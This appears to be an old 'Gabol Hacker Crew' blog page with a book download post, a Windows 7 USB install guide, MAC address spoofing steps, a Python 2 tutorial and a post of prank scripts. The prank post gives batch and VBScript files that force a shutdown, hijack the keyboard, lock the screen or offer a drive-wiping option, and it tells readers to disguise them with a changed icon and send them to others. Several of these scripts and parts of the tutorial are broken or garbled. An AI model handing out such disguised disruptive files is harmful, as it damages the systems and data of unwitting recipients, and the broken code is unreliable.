Welcome to the Gabol Hacker Crew

My Web Development Books Collection

2012-11-24T21:03:00.002-08:00

My WebDevelopment Books Collection , Ah Finally My Fav Books On the Air! wola..

Books:

Software Engineering By Kassem A.Saleh
C/C++ ByJuan Soulie
CSS3 FOR WEB DESIGNERS By Jeffrey Zeldman
PHP and MySQL By Examples By Marko Gargenta
Introduction to Structured Query Language By James Hoffman
Teach Yourself SQL in 21 Days By -- Ryan K. Stephens ,-- Ronald Plew ,-- Bryan Morgan
Agile Web Development with Rails : autor : Dave Thomas
RUBY FOR RAILS By David A.Black
Programming Ruby By Dave Thomas
Programming Ruby 2nd Edition By Dave Thomas
Rails Recipes By Chad Fowler
Agile Web Development with Rails 2nd edition By Dave Thomas
MySQL Cookbook By Paul DuBois
Learning PHP 5 By David Sklar
PHP Cookbook By David Sklar, Adam Trachtenberg
PHP & MySQL For DUMMIES By Janet Valade
PHP 5 FOR DUMMIES By Janet Valade
PHP5 AND MySQL Bible By Tim Converse and Joyce Park with Clark Morgan
Ajax in Action By DAVE CRANE ,ERIC PASCARELLO
Ajax Patterns and Best Practices By Christian Gross
Ajax For Dummies By Steve Holzner,PhD

And Much More...!

Download Here

Install Windows 7 From a USB Drive

2012-01-07T23:38:00.000-08:00

Installing Windows from a USB flash drive has several advantages – First of all, the overall speed of the installation process will increase significantly, carrying a USB stick is much more convenient than a DVD, and finally it becomes possible to install the OS even on those systems that do not have a DVD drive, such as a netbook.
In this post, I will show you how to load the Windows installation on to your USB flash drive and make it bootable just like the DVD.
Tools Required:
1. USB flash drive with a minimum capacity of 4 GB.
2. Windows 7 set-up DVD.

Step-1: Plug-in your USB flash drive and backup all the existing data in it.

Step-2: Open the command prompt. If you are using Windows 7/Vista then open it with administrator rights*.
* Goto Start -> All Programs -> Accessories -> Right-click on “Command Prompt” and select “Run as Administrator”.

Step 3: In the command prompt, type in the following command:
DISKPART

This will start the Microsoft DiskPart utility as shown below:
Now issue the following command:
LIST DISK

This will show you a list of available disks on your system. Disk 0 is usually the hard disk. In my case, Disk 5 is the USB drive (this can be a different one in your case). Now issue the command as shown below:
SELECT DISK 5

NOTE: In the above command, 5 is the USB drive number on my system. If you have a different number on your system, then you need to replace 5 with that number.

Step-4: Now issue the following list of commands one by one as shown below:
CLEAN

CREATE PARTITION PRIMARY

SELECT PARTITION 1

ACTIVE

FORMAT FS=NTFS QUICK

ASSIGN

EXIT

Minimize the command prompt and proceed to the next step.

Step 5: Insert the Windows 7/Vista installation disc and note down the “drive letter” of your DVD drive. In my case, it is “H:”. Now type the following list of commands as shown below:
H: CD BOOT
CD BOOT
BOOTSECT.EXE /NT60 M:(NOTE: M: is your USB drive letter)
EXIT

Step-6: Copy the contents of your Windows 7/Vista installation disk into the USB flash drive.
That’s it! Your USB stick is now ready to boot and install the OS for you. Don’t forget to enable the “USB Boot” option and change the “boot priority to USB device from hard disk” in your BIOS settings.

Changing the MAC address in W2K and XP

2011-12-19T05:38:00.000-08:00

Ok guyz If you Really want to became a Serious hacker then this is also a serious topic for those.,

Lets start..

Method 1:

This is depending on the type of Network Interface Card (NIC) you have. If you have a card that doesn’t support Clone MAC address, then you

have to go to second method.

a. Go to Start->Settings->Control Panel and double click on Network and Dial-up Connections.

b. Right click on the NIC you want to change the MAC address and click on properties.

c. Under “General” tab, click on the “Configure” button

d. Click on “Advanced” tab

e. Under “Property section”, you should see an item called “Network Address” or "Locally Administered Address", click on it.

f. On the right side, under “Value”, type in the New MAC address you want to assign to your NIC. Usually this value is entered

without the “-“ between the MAC address numbers.

g. Goto command prompt and type in “ipconfig /all” or “net config rdr” to verify the changes. If the changes are not materialized, then

use the second method.

h. If successful, reboot your systems.

Method 2:

This method requires some knowledge on the Windows Registry. If you are not familiar with Windows Registry, just use the SMAC tool to

change the MAC addresses, or consult with a technical person before you attempt on the following steps. Also, make sure you have a good

backup of your registry.

a. Goto command prompt and type “ipconfig /all”, and

I. Record the Description for the NIC you want to change.

II. Record the Physical Address for the NIC you want to change. Physical Address is the MAC Address

b. Goto command prompt and type “net config rdr”, and you should see something like

c. Remember the number between the long number (GUID) inside the { }. For example, in the above “net config rdr” output, for

MAC address “00C095ECB793,” you should remember {1C9324AD-ADB7-4920-B02D-AB281838637A}. You can copy and paste it

to the Notepad, that’s probably the easiest way. (See figure 2.)

d. Go to Start -> Run, type “regedt32” to start registry editor. Do not use “Regedit.”

e. Do a BACKUP of your registry in case you screw up the following steps. To do this

I. Click on “HKEY_LOCAL_MACHINE on Local Machine” sub-window

II. Click on the root key “HKEY_LOCAL_MACHINE”.

III. Click on the drop-down menu “Registry -> Save Subtree As” and save the backup registry in to a file.

Keep this file in a safe place.

f. Go to “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}.

Double click on it to expand the tree. The subkeys are 4-digit numbers, which represent particular network adapters. You should see it

starts with 0000, then 0001, 0002, 0003 and so on.

g. Go through each subkey that starts with 0000. Click on 0000, check DriverDesc keyword on the right to see if that's the NIC you

want to change the MAC address. The DriveDesc should match the Description you recorded from step (a.-I.). If you are not 100%

sure about the DriverDesc, then you can verify by checking if the NetCfgInstanceID keyword value matches the GUID from step (c).

If there is no match, then move on to 0001, 0002, 0003, and so on, until you find the one you want. Usually 0000 contains the first NIC

you installed on the computer.

In this demonstration, 0000 is the NIC I selected. (See figure 3.)

h. Once you selected the subkey (i.e. 0000), check if there is a keyword "NetworkAddress" exist in the right side of the window. (See

figure 3.)

I. If "NetworkAddress" keyword does not exist, then create this new keyword:

i. Click on the drop down menu “Edit -> Add Value”.

ii. In the Add Value window, enter the following value then click OK. (See figure 4.)

Value Name: = NetworkAddress

Data Type: = REG_SZ

iii. String Editor window will pop up at this time (see figure 5.)

iv. Enter the new MAC address you want to modify. Then click OK.

(There should not be any "-" in this address. Your entry should only consist of 12 digits as seen in the figure 5.)

II. If "NetworkAddress" keyword exists, make sure it shows the keyword type is REG_SZ, and it should show as NetworkAddress:

REG_SZ: . This keyword might not have a value at this time.

i. Double click on the keyword NetworkAddress and the String Editor window will pop up. (See Figure 5.)

ii. Enter the new MAC address you want to modify. Then click OK.

(There should not be any "-" in this address. Your entry should only consist of 12 digits as seen in later)

There are 2 ways to make the new MAC address active. Method I does not require a system reboot:

I. Goto Start->Setting->Control Panel, and double click on "Network Neighborhood".

WARNING: Make sure you understand that you WILL lose the network connection after completing step "ii." below, and

if you have a DHCP client, you will get a new IP address after completing step "iii."

i. Select the Network Adaptor you just changed the MAC address.

ii. Right click on the selected Network Adaptor and click "Disable."

Verify the status column for this adaptor changes to "Disabled"

iii. Right click on the selected Network Adaptor and click "Enable."

Verify the status column for this adaptor changes to "Enabled"

iv. If for any reason it cannot be disabled or re-enabled, you have to

reboot your system to make the changes effective.

II. Reboot your Windows system.

k. Once completing step j (if rebooting the system, wait until the reboot is completed), go to command prompt, type “ipconfig /all” to

confirm the new MAC address.

Restore The TRUE Hardware burned-in MAC Address:

a. Remove the entry you added:

I. If you followed Method 1, then go back to the advanced properties window and remove the entry you add.

II. If you followed Method 2, then remove the "NetworkAddress" keyword you added in the registry.

b. Use step (j) above to activate the change you make.

c. Once rebooted, go to command prompt, type “ipconfig /all” to confirm the original MAC address.

If MAC Address changes does not work:

If for whatever reason the MAC address cannot be changed using method 2, make sure you restore the

registry setting by following the "Restore The TRUE Hardware burned-in MAC Address" instruction

above. If necessary, restore the registry you just backed-up to get your system back to the original state.

You can do this by clicking on the drop-down menu “Registry->Restore,” and restore your backup

registry file.

Easy Tricks To Prank Your Friendz

2011-11-28T23:45:00.001-08:00

There are some Tricks to completely prank your friend 0R Your enemy ah even your GF lolz! ;)
--So there we go> Now to prank your Friend you have to choice from the following which fits with you and the one you most like.
Lets Go>>
I will be using * start symbol to explain you what the code means so not to use the letter between * symbol.
&& Every thing done here is to be done on notepad and then it should be saved as anything.bat, so mean wile it must end with .BAT &&

1) Say your friend a lil' message and shut down his / her computer:

@echo off
msg * I don't like you *""You can change the statement if you want"*
shutdown -c "Error! You are too stupid!" -s

*""Save it as "Anything.BAT" in All Files and send it."*
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++

2) Toggle your friend's Caps Lock button simultaneously:
Type :

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

3) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!

Type :

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

End If

wscript.sleep 5000

loop

Save it as "Anything.VBS" and send it.

+++++++++++++++++++++++++++++++++++++++++++++++++++

4) Frustrate your friend by making this VBScript hit Enter simultaneously:

Type :

Set wshShell = wscript.CreateObject("WScript.Shell")

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

Save it as "Anything.VBS" and send it.

+++++++++++++++++++++++++++++++++++++++++++++++++

5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:

Type :

WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 100

WshShell.AppActivate "Notepad"

WScript.Sleep 500

WshShell.SendKeys "Hel"

WScript.Sleep 500

WshShell.SendKeys "lo "

WScript.Sleep 500

WshShell.SendKeys ", ho"

WScript.Sleep 500

WshShell.SendKeys "w a"

WScript.Sleep 500

WshShell.SendKeys "re "

WScript.Sleep 500

WshShell.SendKeys "you"

WScript.Sleep 500

WshShell.SendKeys "? "

WScript.Sleep 500

WshShell.SendKeys "I a"

WScript.Sleep 500

WshShell.SendKeys "m g"

WScript.Sleep 500

WshShell.SendKeys "ood"

WScript.Sleep 500

WshShell.SendKeys " th"

WScript.Sleep 500

WshShell.SendKeys "ank"

WScript.Sleep 500

WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++

6) Frustrate your friend by making this VBScript hit Backspace simultaneously:

Type :

MsgBox "Let's go back a few steps"

Set wshShell =wscript.CreateObject("WScript.Shell")

wscript.sleep 100

wshshell.sendkeys "{bs}"

loop

Save it as "Anything.VBS" and send it.

++++++++++++++++++++++++++++++++++++++++++++++++++++++

7) Hack your friend's keyboard and make him type "You are a fool" simultaneously:

Type :

Set wshShell = wscript.CreateObject("WScript.Shell")

wscript.sleep 100

wshshell.sendkeys "You are a fool."

loop

Save it as "Anything.VBS" and send it.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++

8. Open Notepad continually in your friend's computer:

Type :

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

Save it as "Anything.BAT" and send it.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++

9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown

2: Restart

3: Wipes out your hard drive (BEWARE)

4: Net send

5: Messages then shutdown

Type :

@echo off

title The end of the world

cd C:\

:menu

cls

echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...

pause

echo Pick your poison:

echo 1. Die this way (Wimp)

echo 2. Die this way (WIMP!)

echo 3. DO NOT DIE THIS WAY

echo 4. Die this way (you're boring)

echo 5. Easy way out

set input=nothing

set /p input=Choice:

if %input%==1 goto one

if %input%==2 goto two

Save it as "Anything.BAT" and send it.

You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++

10) THRETEN BY MAKING SCREEN FLASH

To make a really cool batch file that can make your entire screen flash random colors until you hit a key to stop it, simply copy and paste the following code into notepad and then save it as a .bat file.

@echo off

echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg

echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg

echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg

echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg

echo g=100>>\z.dbg

echo q>>\z.dbg

debug <\z.dbg>nul

del \z.dbg

But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.

@echo off

echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg

echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg

echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg

echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg

echo g=100>>\z.dbg

echo q>>\z.dbg

debug <\z.dbg>nul

del \z.dbg

goto a

Python for Newbies

2011-08-01T13:34:00.000-07:00

Table of Contents

Introduction
What is Python?
The Interpreter
Your First Program
Hello, World!
Explanation
Variables and Math
Variables: Strings, Numbers, etc.
Math and Operators
Input/Output
Printing information
Interacting with the User
Program Control
What If...
For Ever...
While We...and Others
Intermediate Python
Tuples!
Strings and Slice Indexing
File I/O
Modules
Overview and Importing
Builtin Modules
User-Defined Modules and Functions
In Closing
Why Python is Better than Perl
References
Introduction

What is Python?

Python is, in short, a scripting language. It is similar in function to Perl, but to my knowledge is not nearly as popular. To fix that is part of the goal of this tutorial. It is a very high-level language that can perform complex tasks, but is surprisingly easy to learn. Many different add=ons (modules) are available to control everything from MP3s to windowing toolkits (Unix). I find Python to be a just plain fun language to program in, as it is very intuitive and suited to a variety of uses.

Python can be run on almost any platform, from 'nix to Windows. To get Python, first go to Python.org, and then download away!

This tutorial is geared towards people who have little experience with programming but know at least something. I make numerous references to languages like C and Perl, which are good to know, but you won't lose much if you just skip over them.

What's with the funky name, you ask? Some sort of carnivorous reptile? No, dear reader. Python's creators were (are) big Monty Python fans. The name comes from the BBC show "Monty Python's Flying Circus," and in the official docs, it says "Making references to Monty Python skits in documentation is not only allowed, it is encouraged." That said, I'm afraid I haven't seen all too many Monty Python movies so we'll go a little light on the references :)

So sit back, grab a Coke, download Python, and get ready to learn :)

Back to top

The Interpreter

Python is a scripted, i.e. interpreted, language. Unlike C, which has a compiler, we have in Python the...(drum roll please)...Python interpreter. Once you have Python correctly installed, in your Unix shell or Dos box type 'python' (Note: anytime I tell you to type something and put it in quotes, don't type the quotes. I'm sure you already figured this out, but...). If you've used perl or some other interpreted language before, you might notice something: there's a prompt (those three little ">>>" things)! Not waiting for stdin or saying "Usage: python <script-file>"! That's right, Python has an interactive mode. In this mode, you can type any Python command and it will work just like you typed it from a script, with a few differences. Most importantly, if you type a variable of some sort or something that returns a value of some sort (except assignments), it will print the result automatically. Neat for trying stuff out (and learning!). Now type '1 + 1' at the prompt you should still be at. What do you see? 2! Now ain't that a powerful language:

>>> 1 + 1

2

You can do this with any kind of variable or math expression (see part 3b) and get some output. Works with strings too:
>>> "elp! I'm being oppressed"

"elp! I'm being oppressed"

Note the bad Monty Python reference :). Anyway, that's all for the interpreter. Now we get into the meat of things. If at any point there's a sample script and you don't feel like creating a new file for it, feel free to type (or better yet copy & paste) it into the interpreter, it should work the same. Wait, scratch that :). If I put something in a script, it most likely means you only get the effect from a script and it won't work in interactive mode. Sorry.
Wait! One note before we leave. To quit the interpreter, you can't do anything fancy like type 'quit'. For some reason (beats me), that doesn't work. You have to type Ctrl+D to quit (on Unix at least, haven't tested it on Windows). Anyway if you type 'quit' it'll say something like 'Use Ctrl-D (i.e. EOF) to exit.' so listen to that.

Back to top

Your First Program

Hello, World!

Alright, if you've ever read a programming tutorial before you know they all have some sort of program that just prints "Hello, World!" or something on the screen. Unfortunately, this tutorial is no different. Alright, here goes:
#!/usr/bin/python

#You only need the above line for Unix; replace that with your path to python

hello = "Hello, World!"

print hello

That's it! Put that in a text file, name it hello.py, run it, and we're good. On Unix you may have to 'chmod +x hello.py' to run it, or just type 'python hello.py'. Windows, I'm pretty sure .py files are associated with the Python interpreter automatically.
Back to top

Explanation

"Wow," you may be saying, "that was easy." Indeed it was. Now, though, you probably only have some remote clue of what's going on. We'll take it line by line.
#!/usr/bin/python

This line, like you should've read, is only needed for Unix users. It tells your shell where the python executable is so it can run the script.
#You only need the above line for Unix; replace that with your path to python

A pretty useless line, you may think, but it illustrates an important point: comments! Any good programmer knows that you need comments in your code, so just put # and anything after that on that line is a comment and will be ignored by the interpreter.
hello = "Hello, World!"

I didn't really need this line, but I thought a Hello, World! script with only one line is kinda lame, so I added it anyway. hello is a string variable, which we'll talk about later, and the = operator assigns "Hello, World!" as its value. I'm sure if you've programmed before you've seen all this.
print hello

This last line, as you may well guess, prints the contents of hello. If you're a perl guy (or girl :), you need to know that if you're printing a variable you can't put the name of the variable in quotes. But that's not too inconvenient, as we should see later.
Alright! Our first program! Now just a note or two before we move on. First, you may notice that there's nothing on the end of any lines, no ; like in perl or C. That's one of the convenient features of Python. I think it's more intuitive because blocks (later dammit!) are determined by indenting and every statement has its own line...you may disagree I guess but you'll just have to get used to it.

Back to top

Variables and Math

Variables: Strings, Numbers, etc.

In Python, just like any other language worth its salt, there are a number of data types, Mainly, there are numbers (of arbitrary precision), strings, lists, and tuples. Tuples are more of an "advanced" variable type, kind of like lists, so I won't go into them here, but I'll touch on them a bit in the Intermediate Python section.
Numbers. What can I say? Numbers are numbers. To assign them, just like you did with the string in Hello World!, just put the name of your variable, the = operator, and what you want it to be:

>>> a = 5

>>>

A word on variable names: I'm not quite sure exactly how long Python allows them to be (should I know?), but as a general rule you shouldn't have names more than 20 or so characters. Like other languages, variable names must be all alphanumeric characters and underscores (_), but you can start names with underscores, unlike some languages.
Anyway, on to strings. Strings store, obviously, strings of characters. Nothing you haven't heard before. For strings, you can use either type of quotes ("" or ''), but be sure you know which kind. If you want to use, say, an apostrophe inside a string, you need to make sure of some things. If the string has "" quotes, don't worry about it, just put your apostraph. If you were in '' quotes, though, you would need to escape the apostrophe. This is so the interpreter doesn't think the apostrophe, which is just like a quote, is the end of your string. To escape the apostrophe, just put a \ (backslash) in front of the quote. Try it! It's great:

>>> "I'm Dave"

"I'm Dave"

>>> 'Python\'s my favorite language'

"Python's my favorite language"

>>> "\"I can't think of anything else to say!\" he said"

'"I can\'t think of anything else to say!" he said'

>>> 'That's too bad'

   File "<stdin>", line 1

   'That's too bad'

   ^

SyntaxError: invalid syntax

Note the last two examples. The first one illustrates escaping of the "" quotes and also this: If you have both types of quotes in a string, Python will default to one and escape the other. Don't worry; if you're printing this to the screen it won't show the \ character in your output. In the last example, that's what happens when you don't escape quotes. You may notice Python has a nice way of handling errors, but we won't go into that.
Speaking of escaping, here are a few more characters you can escape (if it says 'n' then you use '\n' to escape it):

n - Prints a newline, i.e. starts a new line.
t - Horizontal tab
b - Backslash. Deletes the last character typed
a - System beep
\ - Prints a backslash
r - Prints a carriage return. Use newline unless you know what you're doing.
Of course there are more, but you won't use them too often.
With strings, you can also concatenate them (stick them together) with the + operator. If you have two literal strings (i.e. not functions that return a string), you don't even need an operator:

>>> 'holy' + 'grail'

'holygrail'

>>> 'BS' 'RF'

BSRF

Next come lists. Lists are called arrays in some languages, but it's all the same (well, not quite...). A list is a bunch of values grouped together in brackets []. Lists can contain any number of other variables, even strings and numbers in the same list, but no tuples or nested lists. Assigning lists is simple:
>>> a = [1, "thin", "mint", 0]

>>> a

[1, 'thin', 'mint', 0]

Lists can be accessed simply by name, but you can access any variable in a list with its index by putting the index number in brackets right after the name. Note that index numbering starts at 0:
>>> a[0]

1

You can also use negative index numbers to start counting from the end of the list:
>>> a[-1]

0

That's all for indexes for now, but in the Intermediate string section we get to learn about fun things like slice indexes to access more than one element in a list. You can also use your masterful index-calling knowledge in strings. Characters in a string act just like elements in a list:
>>> a = "BSRF"

>>> a[1]

S

Be warned though: You can replace individual elements in a list, but not in a string:
>>> a = [1, "thin", "mint", 0]

>>> b = "BSRF"

>>> a[3] = 4

>>> a

[1, 'thin', 'mint', 4]

>>> b[1] = "M"

Traceback (innermost last):

  File "<stdin>Traceback (innermost last):

  File "<stdin>", line 1, in ?

TypeError: object doesn't support item assignment", line 1, in ?

That's all folks! For data types at least...

Back to top

Math and Operators

There are a few basic math operators in Python: +, -, *, /, **, and %. If you went to any school at all you know what +, -, *, and / do. That leaves ** and %. ** is your exponentiatingneniating operator:

>>> 2 ** 6

64

Likewise % is your standard modulus operator. Modulus? Yeah. In case you don't know, the % operator divides the first number by the second number and gives the remainder. Observe:
>>> 4 % 2

0

>>> 10 % 3

1

>>> 21 % 6

3

You may have noticed in the course of trying out some of this stuff that if you divide, say, 1 by 3, you get 0. This is because Python always rounds down when working with integers. To work in floating-point numbers, just put a . (decimal point) in your expression somewhere:
>>> #Bad

... 1/3

0

>>> #Good

... 1./3

0.333333333333

>>> #Good also

... 1/3.

0.333333333333

In addition to your basic math operators, there are comparison operators in Python as well (what did you expect?). In the a couple more sections we'll learn how to use them in context, but here they are anyway:
a == b checks if two a is equal to b (a and b can be any data type, not just numbers)
a > b checks if a is greater than b (see parentheses above)
a < b checks if a is less than b (etc.)
a >= b checks if a is greater than or equal to b
a <= b checks if a is less than or equal to b
a != b checks if a isn't equal to b
You probably got nothing useful out of that except that even things like strings and lists can be compared. In fact, lists (or strings) don't even have to be of the same size to be compared:
>>> #A return value of 1 means true, 0 means false

... [1, 2, 3, 4] > [1, 2, 3]

1

>>> [1, 2, 4] > [1, 2, 3]

1

>>> [1, 2, 3] < [1, 3, 2]

1

>>> [1, 2, -1] > [1, 2]

1

Also notice how list comparison is performed. The first values are compared. If they're equal, the next values are compared. If those two are equal, the next values are compared. This continues until the value in one is not equal to the value in the other (if all are equal then the lists are equal). Look at the third example: even though the 3rd value (index 2, remember) of the first list (3) is greater than the third of the second (2), the second list is still greater than the first because the interpreter never got that far; it found that the second number in the second list (3) was greater than in the first list (2), so it stopped (confused? That's Ok). If the interpreter gets to a null value (i.e. there are no items left in the list), then the longer list is greater (see 4th example above).
Last thing on operators: logical operators. and, or, not (there's no xor, unlike perl). and returns the last value encountered if true, 0 if false. or is the same, but it's true if only one of the arguments is non-zero (or non-null for strings). Finally, not returns 1 if the single argument is zero (null) or 0 if the argument is non-zero. Observe:

>>> 1 and 4

4

>>> 2 or 0

2

>>> 'monty' and 'python'

'python'

>>> not 0

1

>>> not ''

1

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Input/Output

Printing information

In our Hello, World! example above, we already saw one way of printing output, namely the (self-explanatory) print statement. print works pretty much like it does in perl, printing a string or any sort of variable or expression out on the screen. Anything you enter with print automatically has a newline, "\n", appended to it.
>>> print "She's a witch!"

She's a witch!

>>> print 5 + 3

8

>>> a = "Burn her!"

>>> print a

Burn her!

>>> #Don't worry if you don't know what this does; it's covered in the Intermediate section

... print "Yeah, b" + a[1:]

Yeah, burn her!

If you don't want a newline appended, as is sometimes the case, simply add a ',' to the end of the line with your print statement. Note that this only works in non-interactive mode, so you need to make a new file.py or something. Try this on for size:
#!/usr/bin/python

a = 5

print "The value of a is",

print a,

print "!"

Output:
The value of a is 5 !

There's a few more ways you can put (non-string) variables in a print statement. You can use a comma, which will put a space around the variable. The final main way is to convert your variable to a string first, which is done simply by putting it in some backwards quotes (``). Then just append this to your string like you would any other string variable or value (see above). Check out these examples:
>>> a=5

>>> #Note the spacing around the number

... print "A duck costs $", a, "."

A duck costs $ 5 .

>>> #Same thing, different way of putting it in

... print "A duck costs $" + `a` + "."

A duck costs $5.

For those of you who know what stderr is (or stdout and stdin for that matter), yes, you can access it directly in Python. This does however use a bit more of an advanced technique, so to really understand what's going on here you should read File I/O and Modules. Anyway, try out this script:
#!/usr/bin/python

import sys #Didn't I tell you to read about modules?

sys.stderr.write( "This is some error text\n" ) #You do need a \n here since

#you're writing directly to the file descriptor (READ FILE I/O)

Run it, it looks more or less normal, just prints "This is some error text". Now try running it as "python test.py > /dev/null" (Unix) or "test.py > nul" (Dos/Win). What's this? The output is still there, even though you redirected it to /dev/null or nul, the wastebasket of output. Instead of writing to the standard output (stdout), which is what print does, here you wrote to the standard error (stderr), which is separate from stdout (even though they appear on the same screen) and informs you of any errors your program might encounter.
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Interacting with the User

Alright, I admit it, this title is a bit too broad. In this section I'm just covering how to input variables from the user, not like catching keypresses or anything. Anyway, inputting from the, er, standard input is done with two simple functions in Python: input and raw_input. I'll discuss raw_input first 'cause it's simpler to use.

raw_input takes one argument, which is the prompt that'll come up while it waits for the user to type something. It returns the string that is typed, so it is most useful in assignments. A simple example:

>>> a = raw_input( "Type something: " )

Type something: Dave

>>> a

'Dave'

Don't be too confused. I typed in 'Dave', and raw_input assigned it to the variable a. "That's all well and good," you say, "but what if I don't want to input a string? What if I want a number or list?" Well, there are really about 3 ways. First and simplest is the input function, which you'll see if you just scroll down a bit. Another is string.atoi, which although a bit more advanced, adds some flexibility to the input process, although it only changes strings to ints (Subliminal message: Modules). I won't go into too much detail, but here's a simple example of atoi:
>>> from string import atoi

>>> a = "5"

>>> a

'5'

>>> a = atoi(a)

>>> a

5

>>> #If you have Python 2.0 or higher, just do this

... a = "5"

>>> a = int(a)

>>> a

5

Wow, a was converted from '5' to 5. Now let's move on. If you want to input any type of variable at all, like I said before, you want to use input. Input works just like raw_input, except Python interprets the variables as whatever is typed in. If that didn't make much sense, think of it this way: If you have a straight-up number, it's stored as a number. If you have some values in [] brackets, it's stored as a list. You can even put something in quotes to have a string. Check it out:
>>> a = input( "Enter something: " )

Enter something: 5

>>> a

5

>>> a = input( "Enter something: " )

Enter something: [3, 6, 'Hello']

>>> a

[3, 6, 'Hello']

>>> a = input( "Enter something: " )

Enter something: Hello

Traceback (most recent call last):

  File "<stdin>", line 1, in ?

  File "<string>", line 0, in ?

NameError: There is no variable named 'Hello'

Uh oh! What happened there? Well, the one pitfall of input is that it looks at everything as some sort of variable; it thought Hello was the name of a variable, so it screwed up when it found out there was no Hello. There are a few ways to get around this, like exception catching, but that's beyond the scope of this tutorial. For now, you'll have to trust your user to input the type of variable you want (I know, I know, you usually shouldn't trust your users, but...). Onward, onward.
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Program Control

What If...

If you've ever programmed before, in something from Basic to Flash, you've seen if blocks. Hell, I don't even know why I devoted a whole section to them, since all I have to do is show you the structure, right? Alright, remember those comparison operators you used before? Good. Take a gander at this example code:

>>> name = raw_input( "What's your name? " )

What's your name? David

>>> if name < "Dave":

... print "Your name comes before mine." #That's a tab there

... elif name > "Dave":

... print "Your name comes after mine."

... else:

... print "Hey, we have the same name!"

...

Your name comes after mine.

Lame example, I know, but it gets the point across. Get over it. Now here you might notice a few things different than other languages you know (you might not, what can I say). We'll try to keep it in some sort of order too. First, you see the if, then a conditional statement. The conditional statement is just like we saw earlier, one expression and an operator and another expression. You could also just have an expression, and if'll see it as true if the expression evaluates to non-zero. But anyway. Next comes a colon, then a newline. You need this newline. On the next line or two or three or however many, the code is indented. One space, four spaces, eight spaces, it doesn't matter, it just has to be indented. Depending on how messy you generally code, this may be a convenient, code=beautifying feature or the code block from hell. I personally like it. The next line has a cryptic-looking statement elif. First notice it's not indented; it's not in the same code block. elif is not life backwards, it's short for else if. If the first condition isn't true, it checks the next one. Next block, there we go. Finally comes else: the fallback statement, in case none of the above conditions (there can be as many as you want, which serves as a replacement for C-style switch statements) are met.
There it is, if in a nutshell.

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For Ever...

Wow, don't I come up with the worst section titles? Anyway, on to the next standard loop: the for loop. Python's for loop is probably a bit different from those you've seen, unless you've seen perl's or PHP's foreach loop. for loops in Python run through each item in a string or list and assign it to a particular, specified variable. The syntax is intuitive and might even resemble human speech. Watch and learn:

>>> for letter in "Brian": #Blocks are treated the same way as above

... print letter

... #This just prints each letter in "Brian" on its own line

...

B

r

i

a

n

Very simple. But you might say this odd for loop is lacking because it doesn't go through, for example, the numbers from 1 to 10 and put them in i, like in *other* languages. That is easily overcome with the ubiquitously useful range() function. range() will return a list, perfect for running through with for, of numbers in a specified range (now where do those Python creators come up with those names?). You can specify one of a number of arguments, as follows:
>>> #This returns a list of 6 numbers, starting at 0

... range(6) #which means the argument you put there is not actually in the list.

[0, 1, 2, 3, 4, 5]

>>> #A list from 6 to 10-1, or 6-9.

... range(6,10) Remember 10 doesn't actually appear, just like above.

[6, 7, 8, 9]

>>> range(6,10,2) #Same as above, only increments by 2.

[6, 8]

>>> range(10,6,-1) #Negative increments work too. The last number, 6, still doesn't appear.

[10, 9, 8, 7]

Those should have been pretty much self-explanatory. Another little trick, if you want to iterate through the elements in a list by index number, is to use the len() function (which returns the length of the list) together with the range() function:
>>> l = ["I'm", "not", "dead"]

>>> for i in range(len(l)):

... print "Item", i, "of l is "+l[i]

...

Item 0 of l is I'm

Item 1 of l is not

Item 2 of l is dead

Well, that about wraps it up for for loops. Remember: if you can't come to grips with for really being a foreach, range() is your friend.
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While We...and Others

I'm not even going to say anything about this title. Moving on, then, to the last of the ever-so-common loops: while. while performs its little block of code forever and ever, or at least until some predefined condition is met.

>>> while name != "Dave"

... name = raw_input( "What's my name? " )

...

What's my name? David

What's my name? Monty

What's my name? Dave

>>>

Notice how it obstinately refuses to let me go on until I give it what it's looking for. Of course, while loops need not be dependent on user input. This loop here will calculate every cube that's under 1000:
>>> c = 0

>>> while c**3 <= 1000:

... print `c`+"^3="+`c**3`

... c = c + 1

...

0^3=0

1^3=1

2^3=8

3^3=27

4^3=64

5^3=125

6^3=216

7^3=343

8^3=512

9^3=729

10^3=1000

